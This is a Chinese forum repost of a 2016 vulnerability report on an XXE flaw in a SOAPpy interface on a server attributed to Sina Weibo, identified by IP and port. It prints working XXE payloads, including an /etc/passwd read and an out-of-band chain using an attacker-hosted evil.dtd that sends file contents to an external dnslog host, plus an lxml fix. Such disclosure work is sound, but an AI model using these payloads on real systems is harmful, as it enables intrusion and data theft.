HanDs
管理员

[7月漏洞公开] 新浪微博某处SOAP接口外部实体注入 





学习中请遵循国家相关法律法规,黑客不作恶。没有网络安全就没有国家安全

本站需要登陆后才能查看

SOAPpy

详细说明:

新浪微博某主机的8089端口跑着SOAP服务接口



code 区域
http://123.126.42.32:8089//





为证明是新浪微博的机器,可以看它的80和8000端口



QQ图片20160519175951.png





QQ图片20160519144051.png





从8089端口的Banner可以看到运行了SOAPpy(某个python实现的SOAP调用框架)

QQ图片20160519180231.png

漏洞证明:

利用cloudeye验证是否存在XML外部实体注入



POST提交PAYLOAD

code 区域
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE dtochkx [
<!ENTITY % dtd SYSTEM "http://xml.66ae2b.dnslog.info/verify">
%dtd;
]>
<xxe>&dtochkx;</xxe>





QQ图片20160519181000.png





访问日志如下,证明解析了外部实体,XXE存在:

QQ图片20160519181152.png





继续尝试进一步利用,找了SOAPpy <= 0.12.5的文件读取exp测试



提交PAYLOAD如下:

code 区域
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE v1 [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<SOAP-ENV:Envelope
SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:xsi="http://www.w3.org/1999/XMLSchema-instance"
xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:xsd="http://www.w3.org/1999/XMLSchema">
<SOAP-ENV:Body>
<echo SOAP-ENC:root="1">
<v1 xsi:type="xsd:string">&xxe;</v1>
</echo>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>





返回结果如下:

QQ图片20160519181901.png





看样子是出错了,尝试换一种payload利用cloudeye读取文件

code 区域
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE dtochkx [
<!ENTITY % payload SYSTEM "/proc/sys/kernel/hostname">
<!ENTITY % dtd SYSTEM "http://*.*.*.*:8080/xml/evil.dtd">
%dtd;
%send;
]>
<xxe>&dtochkx;</xxe>





其中evil.dtd为自己放在公网的一个恶意DTD,内容如下:

code 区域
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'http://66ae2b.dnslog.info/?%payload;'>">
%all;





PAYLOAD目的是读取/proc/sys/kernel/hostname的值,但是测试发现读不到东西



QQ图片20160519182445.png





看来文件读取是做不到了,以上。



修复方案:

Python:

from lxml import etree

xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))


学习中请遵守法律法规,本网站内容均来自于互联网,本网站不负担法律责任
新浪 某处 S OA P 接口 外部 实体 注入
#1楼
发帖时间:2016-7-9   |   查看数:0   |   回复数:0
游客组
快速回复